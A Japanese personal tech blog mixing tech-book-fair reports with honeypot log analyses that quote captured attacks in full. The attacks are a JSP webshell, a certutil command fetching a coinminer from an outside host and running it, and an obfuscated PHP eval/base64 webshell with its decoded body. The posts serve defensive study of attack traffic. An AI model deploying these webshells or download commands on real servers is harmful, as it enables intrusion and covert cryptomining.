技術書典5サークル参加しました!
技術書典5お疲れ様でした!
技術書典5に参加のみなさま、お疲れ様でした! 台風も心配されていましたが、なんとかお天気も保ってよかったですね。しかし晴れたとはいっても、サークルとして出展された方、一般参加の方、そしてスタッフの方、みなさまにとってかなり大変な一日だったと思います。本当にお疲れ様でした。
そして弊サークル「Shin・Do・meeee」の「IT井戸端会議 Vol.1」をお買い上げいただいた方、本当にありがとうございました。自分たちの作った本が会場にいらした方の興味に触れ、人の手に渡っていると思うと、なんだかとても嬉しい気持ちになります。サークル参加決定時のブログをご覧いただけるとわかる通り、「ノリと勢い」成分多めではじまったサークルでしたが、無事に本を出すことができて良かったです。
「IT井戸端会議 Vol.1」を読み終わった方は、よろしければ是非本の感想をお送りください(TwitterのReplyでもDMでも結構です)。次回以降の参考にします。
……エモい気持ちが残っているうちに、思ったことを振り返って少し書いてみたいと思います。文章ではとてもまとめきらなかったので箇条書きです。
アウトプットのハードルは低めに
- やらない言い訳を考えるより、とりあえず一歩踏み出してみる、というのは大切
- 行動にあたってはわりと腰が重いタイプなので、今回「本を出す」という経験ができたのは大きかった
- 何にしても「やってみないとわからないこと」というのは結構ある
- はじめに完璧なものを作ろうとしない
- アプリケーションのでデプロイにも通じるところがあるかもしれない……
「(元)同僚と本を作る」こと
- 仕事を進める上でのスタンスがなんとなくわかっているので、進めやすくてよかった
- チームの活動推進とかは @UltraBirdTech が好き
- CI周りは @igara がやってくれた
- 私はもっぱら宴会部長をやっていて、会議終わったあとの宴会の店決めを頑張った
- 頑張りとは
- ほら、ぼったくりの変な店を引くと、その日の気分が台無しになっちゃうから……
- もちろん執筆も頑張りました
- 退職後も「仲間」感を持って、集まったり一緒にいろいろ進めたりできるのはありがたい
- 仕事と趣味のサークル活動の中間のような雰囲気
- サークルメンバー外の元同僚で、本を購入しにイベントに来てくれた人もいた
次回以降について(サークルとしてというよりは、個人的に)
- ハニーポット本の供給が需要に追いついていない感があったので、今後も継続して出したい
- リクガメ飼育本に触発されたので、Python(生き物)の飼育×ITで何かやりたい
- 本業はJavaエンジニアなので、Java関連で何か書けるネタを探したい
買った本について
買った本もずいぶんあるので、そちらは読み進み次第、順次感想をブログにアップしていきたいと思っています。ひとまずこの記事ではタイトル出しだけしておきます。素敵な本を作ってくださったサークルのみなさまに感謝してもしきれません!!!
- リクガメ監視システムの作り方 - MZ工房
- Microservices Architecture
- iOSアプリ開発 UI実装であると嬉しいレレシピブック - Just1factory
- Android Widget開発のすすめ - futabooo
- WebShell図譜 - morihi-soc
- ハニーポットと学ぶ侵入検知システム - morihi-soc
- セイチョウ・ジャーニー - Growthfaction
しかしこう並べて見ると、IoT/システムアーキテクチャ/ネイティブアプリ/セキュリティ/成長 と見事に分野がバラバラですね。私はどこへ向かっているのでしょうか。まあこれからもあっちこっちサーバーサイドエンジニアとして頑張っていこうと思います。
技術書典5(2018/10/8開催)で合同誌を出します!
本が出ます!!!
技術書典5向けの新刊(合同誌)を入稿しました! つつがなく印刷製本が済めば、2018/10/8 の技術書典でかんずさんの初めての本が出ます。表紙と目次はこちらです。
- IT井戸端会議 Vol.1 - Shin・Do・Meeee
- WebAssemblyを使ってみる
- 攻撃のしんどみを肌で感じる - ハニーポット入門 -
- Raspberry Piを用いたChatbot作成
- プログラマとして生きた私のハッカーへの道
ひとりが1章を担当する形で、4人で1冊を書き上げました。私は「攻撃のしんどみを肌で感じる - ハニーポット入門 -」の章を担当しました。セキュリティを本業としない方向けの、趣味としてのハニーポット運用について描いたつもりです。
表紙絵は @mokimoki14 が描いてくれました。感謝感謝。
ちなみに裏表紙に入れているロゴの漢字は造漢字で、 @mokimoki14 が 「辛」と「新」の字を掛け合わせて作ってくれました。サークル名がしんどみ(辛み)と、新 Do me(新しいことやろうぜ)のダブルミーニングであることによるものです。
サークル名「Shin・Do・Meeee」のeが4つなのは執筆メンバーが4人だからです。今後、メンバーの増減に応じてeが増えたり減ったりするかは不明です。
ぜひ技術書典5にお越しください! 私たちのスペースは「か24」です。当日、スペースでお待ちしてます。
技術書典5(2018/10/8開催)にサークル参加します
jspによるWebShell作成〜コインマイナー実行の試み
Java女子としては見逃せない(?!)、jspを利用したWebShell作成の試みをWOWHoneypotで発見しました。
同一IPからの連続したアクセスで、「Webshell作成」「WebShellを利用したコインマイナー設置」「WebShellを利用したコインマイナー実行」と三段階の攻撃の試みとなっていました。
その1 (Webshellの作成)
PUT /indexweb4.jsp/ HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain; Charset=UTF-8 Accept: */* Accept-Language: zh-cn Referer: http://xxx.xxx.xxx.xxx:80/indexweb4.jsp/ User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Content-Length: 776 Host: xxx.xxx.xxx.xxx <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+"\\n"); } buf.close(); } catch (Exception e) { line.append(e.getMessage()); } return line.toString(); } %> <% if("bala123".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))) { out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>"); } else { out.println(":-)"); } %>
HTTPのPUTメソッドで、jspファイルの設置を試みているようです。
リクエストパラメータとしては pwd
cmd
を受け取る作りになっており、動作としては大まかには以下のようになります。
pwd
が想定しているもの("bala123")と一致する場合、cmd
の内容を画面に表示し、コマンドを実行pwd
が想定しているもの("bala123")と一致しなければ:-)
を画面に表示して終了
:-)
を表示して終了って……
余談ですが、Javaで文字列の比較を行うときは、定数を先に持ってくるのがセオリーでしたね。
変数を先にして request.getParameter("pwd").equals("bala123")
としてしまうと、リクエストパラメータのpwdがnullの際にNullPointerExceptionが発生してしまいます。
"bala123".equals(request.getParameter("pwd"))
とすることで、pwdがnullの場合もNullPointerExceptionを発生させることなく、結果をfalseとして処理できるようになっています。
その2 (WebShellを利用したコインマイナー設置の試み)
GET /indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123 HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20certutil.exe%20-urlcache%20-split%20-f%20http://3389.space/nw/vm.exe%20c:/windows/inf/sst.exe&pwd=bala123 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: xxx.xxx.xxx.xxx
「その1」のWebShell作成の試みが成功したという想定で、次なるリクエストを投げてきています。
pwd=bala123
は、「その1」で想定している pwd
の値と等しいため、 cmd
に記載されている内容が実行されます。 cmd
の内容をURLデコードして見てみると以下のようになります。
cmd.exe /c certutil.exe -urlcache -split -f http://3389.space/nw/vm.exe c:/windows/inf/sst.exe
記述から、Windows向けの処理であることが推測できます。
certutil.exe はWindowsで証明機関の構成/管理を行うコマンドなのですが、上記のように -urlcache
-split
-f
オプションを併用することで、インターネット上から任意のデータをダウンロードを行うことが可能となるそうです。
参考 : A Suspicious Use of certutil.exe - SANS Internet Storm Center
「Windowsにもともと入っているツールで、簡単にインターネットからのファイルダウンロードができる」というところで、なかなかギミックが効いていてカッコいいコマンドの使い方だなあと思うわけですが、悪意あるファイルのダウンロードに利用されると怖いですね。
今回は、指定されたURLからvm.exeを取得し、 c:/windows/inf/sst.exeとして保存しています。vm.exe については、VirusTotalで検索したところ、コインマイナーであるらしいとの情報が出てきました。
その3 (WebShellを利用したコインマイナー実行の試み)
GET /indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123 HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: http://104.197.55.223:80/indexweb4.jsp?cmd=cmd.exe%20/c%20c:\windows\inf\sst.exe&pwd=bala123 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: xxx.xxx.xxx.xxx
「その2」が成功した想定で、さらに次のリクエストを投げてきています。こちらも想定された pwd
の値が送られてきているため、 cmd
の内容が実行されることとなります。 cmd
をURLデコードした結果が以下です。
/cmd.exe /c c:\windows\inf\sst.exe
もうこれは説明するまでもないのですが、「その2」でダウンロードしたファイルの実行を行っています。WebShellの設置、コインマイナーのダウンロードが済んだので、次はいよいよコインマイナーの実行に入ろうというところですね。
まとめ
順を追ってログを追うことで、WebShellがどのように作成され、どのように利用されようとしているかを知ることができました。
こういった連続したログから、意図やストーリーみたいなものが見える瞬間が、ハニーポット観察の中で一番好きです。笑
参考
Hello, Peppa!のアクセスログ
Hello, Peppa!
Hello, Peppa!という謎のアクセス - とりあえずブログ
「Hello, Peppa!」というこの気になるアクセス、私の運用しているWOWHoneypotにも来ていました。いくつかパターンがあったので、ログを抜き出してご紹介します。
ログその1
POST /cmx.php HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Go-http-client/1.1 Content-Length: 5433 Accept: */* Content-Type: multipart/form-data; boundary=------------------------c7145c544564e14d --------------------------c7145c544564e14d Content-Disposition: form-data; name="_upl" Upload --------------------------c7145c544564e14d Content-Disposition: form-data; name="h" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="w" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="leng" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="a" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="b" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="c" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="abc" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="0" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="cmd" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="php" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="1" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="bbs" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="m" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="js" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="2" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="3" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="!@#" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="ae" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="axa" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="aaaa" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="x" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="xx" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="eval" if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die(); --------------------------c7145c544564e14d Content-Disposition: form-data; name="file"; filename="E:\\PHPnow\\htdocs\\images.php" Content-Type: application/octet-stream <?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa! --------------------------c7145c544564e14d Content-Disposition: form-data; name="fileupload"; filename="E:\\PHPnow\\htdocs\\images.php" Content-Type: application/octet-stream <?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa! --------------------------c7145c544564e14d--
multipart/form-data はファイルアップロードなどに使われるデータ形式ですね。cmx.php はWebShellとして使用されるファイル名のようです。(参考 : ハニーポット観察記録(36)「phpMyAdminの設定不備を狙ったWebShell作成の試み」 at www.morihi-soc.net)
Base64エンコードされている部分のデコード結果は、以下のようになっていました。
session_start(); if(isset($_POST['code'])){ (substr(sha1(md5($_POST['a'])),36)=='222f') && $_SESSION['theCode']=trim($_POST['code']); } if(isset($_SESSION['theCode'])){ eval(base64_decode($_SESSION['theCode']));
処理自体に何か意味があるというよりは、これが実行できるかどうか、で脆弱性の有無を選り分けている感じでしょうか。
ログその2
POST /images.php HTTP/1.1 Host: xxx.xxx.xxx.xxx Accept: */* Content-Length: 956 Content-Type: application/x-www-form-urlencoded a=just+for+fun&code=aWYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkKewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9CmVsc2UKewoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4X2dldGVnaWQoKSk7CgkkdWlkID0gJHVpZFsndWlkJ107CgkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCSRnaWQgPSAkZ2lkWydnaWQnXTsKCSRncm91cCA9ICRnaWRbJ25hbWUnXTsKfQplY2hvICJIZWxsbywgUGVwcGEhfCIgLiBwaHBfdW5hbWUoKSAuIiArICIuICdVc2VyOicuJHVpZC4nKCcuJHVzZXIuJykvR3JvdXA6Jy4kZ2lkLicoJy4kZ3JvdXAuJyknIC4iICsgIi4kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10gLiIgKyAiLiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4iICsgIi4gJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddIC4gInwiOwokc2VsZiA9IHN1YnN0cigkX1NFUlZFUlsnUEhQX1NFTEYnXSxzdHJycG9zKCRfU0VSVkVSWydQSFBfU0VMRiddLCcvJykrMSk7CiR0aW1lID0gQHN0cnRvdGltZSgiMjAxNS0wNy0xNiAxNzozMjozMiIpOwplY2hvIChAdG91Y2goJHNlbGYsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpOw%3D%3D
a=just+for+fun って本当にそうなのでしょうか……。その1と同様に、codeパラメータ以下をBase64デコードしてみると、以下のような結果となりました。
if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $uid = $uid['uid']; $user = $uid['name']; $gid = $gid['gid']; $group = $gid['name']; } echo "Hello, Peppa!|" . php_uname() ." + ". 'User:'.$uid.'('.$user.')/Group:'.$gid.'('.$group.')' ." + ".$_SERVER['SERVER_SOFTWARE'] ." + ". $_SERVER['DOCUMENT_ROOT'] ." + ". $_SERVER['SCRIPT_FILENAME'] . "|"; $self = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); $time = @strtotime("2015-07-16 17:32:32"); ��ho (@touch($self,$time,$time) ? 'success' : 'failed');
最後の行はなぜか文字化けしてしまいましたが、おそらく「echo」ですね。サーバの情報をいろいろと出力させようとしている感じ。
ログその3
GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21 HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Go-http-client/1.1 Accept: */*
URLデコードすると以下のようになります。
echo ^<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?^> >images.php & echo Hello, Peppa!
$testの中の文字列は、ログその1のものと同じです。
ログその4
POST /db_session.init.php HTTP/1.1 Host: xxx.xxx.xxx.xxx:80 User-Agent: Mozilla/5.0 Connection: Close Content-Type: application/x-www-form-urlencoded Content-Length: 48 eval=die('Hello, Peppa!'.(string)(111111111*9));
こちらも処理自体にはそれほど意味はない気がしますね。
Hello, Peppa!、WOWHoneypotのログを見たところ、5月4日くらいから観測されているのですが、ネット上にはあまり情報が見られないです。検索してヒットする情報も、2018年の5月〜6月のものなので、何か新しいスキャナなのでしょうか……。引き続きログの観察と情報の収集を行っていきたいと思います。
参考
はてなブログに移行しました
はてなブログ移行
経緯
おわー!かんずねっとの証明書がきれている
— kanz (@k_anz__) 2018年6月3日
もうだめだあ…全然メンテしきれてない…
— kanz (@k_anz__) 2018年6月3日
実はこの証明書期限切れをやらかすのが二度目だったのです……。二度あることは三度ある気がしたし、三度目を防ぐための運用作業に時間を割く気もしなかったので(大した作業ではないのですが……)、はてなブログに移行することを決めました。
運用するために運用してんじゃないからな。情報発信のために運用してんだから。
— kanz (@k_anz__) 2018年6月4日
これに尽きます。
あと「セキュリティをネタにしたブログなのに、忙しさにかまけて、セキュリティ対策が疎かになってきた」のも理由のひとつです。証明書は切らすし、Wordpressのバージョン更新は滞りがちになるし。それが続くくらいだったら、外部サービスに載っけて安心したほうがいいかなあ、と思ったのでした。
ただ、k-anz.netの運用を通じて、いままでにしたことのない作業を経験できたのは良かったと思います。具体的には、Let's encryptでサイトをHTTPS化したり、ドメイン取ってCloud DNSにレコード登録したり、nginxを初めて使って運用したりとか。とくに私は、普段のお仕事ではサービスの運用作業をあまりしないので、サービスを公開するために必要な作業を一通り経験しておくことができたのは良かったです。
これから
ちょっと最近忙しくて更新が滞りがちだったのですが、そろそろ落ち着いたので、またネタを見つけて書き物をしていきたいと思います!
技術書典4に一般参加してきました
技術書典4に行きました
技術書典4に一般参加してきました。 スタッフの方、サークル参加の方、そして同じく一般で参加した方々、みなさまお疲れ様でした!
当日
コミケ参加経験があるせいで、少々技術書典を舐めてかかっていたところがありました。(笑) 次回の技術書典に参加される方の参考……になるかはよくわからないですが、私の当日の動きはこんな感じでした。
時間 | やっていたこと |
---|---|
9:30 | 起床 |
10:00 | 諸々の家事を片づける |
11:00 | 自宅で会場の行列の写真を見て、あまりの人の多さに会場へ行く気力を無くしかける |
12:00 | なんとか会場に向かう決心をする |
13:00 | 秋葉原UDX着、整理券をもらう |
〃 | 会社の元同僚と合流してランチ |
13:45 | 整理券の順番が来たので会場入り |
〃 | 「完売」の看板が多くなってきてはいたがそれなりに楽しむ |
14:30 | 人混みに疲れたので会場を離れる |
〃 | 会場を出たところでまた別の知り合いに会ったので、お茶する |
15:30 | 秋葉原を離れる |
反省点はただ一つ、「開場時間に間に合うように行けばよかった」ですね。昼過ぎからでいいや、の精神だと、欲しいものが売り切れになる可能性は高いです。。だいたい、昼過ぎになってもたいして混雑は緩和されないので、早くに行っても遅くに行ってもさして変わらないと思います。それだったら早めに行って早めに切り上げた方が良い気もします。
しかし、こうして振り返ると、なんだか人と会ってはランチしたりお茶したりしていただけな感じがしますね……。まあ、普段なかなか会えない方とも会えたので、これはこれでよしとします。
買ったもの
肝心の買ったものです。実は電子版データを1冊しか買っていません……
- AllSafe 「ANALYZING MR.ROBOT」
サークルの方が「Amazonプライムビデオで配信しているMR.ROBOTという海外ドラマの解説本なんd……」と本の説明をしかけたところを遮って、かなり食い気味に「全部見ました!!!シーズン3まで!!!!!」と返して、重い愛を披露してしまいました、すみません。。。
サークル名が「AllSafe」だったり、配信カードの「電子版」表記が中国語の簡体字になっていたり(ダークアーミーをイメージしたとのこと!)と、細かなところにもいろいろとこだわりを感じました。素敵です。
内容も少しずつ読み進めているのですが、「こんなに細かいところまで考察を……」という感じですごく興味深いです。内容も厚く、この充実ぶりなのにこのお値段で良いのかしら、と心配になってしまいました。気持ちとしては2〜3倍くらい払いたい。最後まで楽しんで読みたいと思います。
次回
技術書で会った元同僚たちと意気投合しまして、「次回はサークル側で参加しよう!!!」という話になりました。(笑) 何もかもが未定ですが、もし本当にサークル参加が実現したらスペースまで遊びに来てください。出展する際は、またこちらでも告知します。実現したらね……